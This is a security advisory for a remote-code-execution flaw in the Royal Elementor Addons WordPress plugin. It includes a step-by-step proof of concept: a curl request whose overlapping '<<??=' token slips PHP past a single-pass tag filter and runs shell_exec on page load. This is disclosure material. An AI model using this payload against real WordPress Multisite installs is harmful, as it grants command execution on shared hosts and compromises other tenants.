Royal Elementor Addons < 1.7.1066 – Admin+ Remote Code Execution via Widget Builder | CVE 2026-13405

Description

The plugin does not correctly sanitise custom widget markup before writing it to a file that is later executed, allowing users with the manage_options capability (and, on WordPress Multisite, non-super subsite administrators who do not otherwise hold code-execution capabilities) to execute arbitrary PHP code.

Proof of Concept

Prerequisites:
- WordPress Multisite with Elementor + Royal Elementor Addons network-active.
- Attacker is a subsite Administrator (manage_options) who, on Multisite, does NOT hold unfiltered_html / install_plugins / edit_files (Super-Admin-only), so cannot otherwise execute PHP. The Widget Builder ships in the free version and its REST route registers unconditionally.

Let {subsite} be the attacker's subsite base URL, e.g. https://victim.example/site1/

1. Log in as the subsite Administrator and obtain a wp_rest nonce:
   GET https://victim.example/wp-admin/admin-ajax.php?action=rest-nonce  -> <nonce>

2. Save a malicious custom widget. The save handler strips PHP tags with a single str_replace() pass, so the overlapping token "<<??= EXPR ??>>" survives and recombines into a live "<?= EXPR ?>" short-echo block:

   curl -X POST "{subsite}wp-json/wpr-addons/v1/widget-builder/save" \
     -H "Content-Type: application/json" -H "X-WP-Nonce: <nonce>" \
     -b "<authenticated session cookies>" \
     --data-binary '{"title":"PoC","category":"wpr-widgets","markup":"<<??= file_put_contents(ABSPATH.\"wp-content/uploads/poc.txt\", shell_exec(\"id\")) ??>>"}'
   -> {"success":true,"post_id":<ID>}

   This writes .../wpr-addons/custom_widgets/wpr_wb_<ID>/widget.php containing a live "<?= ... ?>" block inside the generated widget's render() method.

   The sibling route "{subsite}wp-json/wpr-addons/v1/widget-builder/save/<ID>" shares the same handler and takes the identical payload.

3. In the Elementor editor on the subsite, edit (or create) a page, drag the new custom widget ("PoC") onto it, and publish.

4. Load the published page (any visitor, no login needed). render() executes the injected PHP: wp-content/uploads/poc.txt now contains the output of `id`, written as the web-server user on the host shared by the whole network.

Notes:
- The recombined tag is "<?=" (short echo), which executes regardless of the short_open_tag php.ini setting, so default PHP configurations are affected.
- On single-site this grants an Administrator nothing beyond their existing capabilities; the security impact is on Multisite, where a subsite Administrator gains arbitrary PHP / OS command execution as the web user on the shared host, compromising all other tenants and the network Super Admin.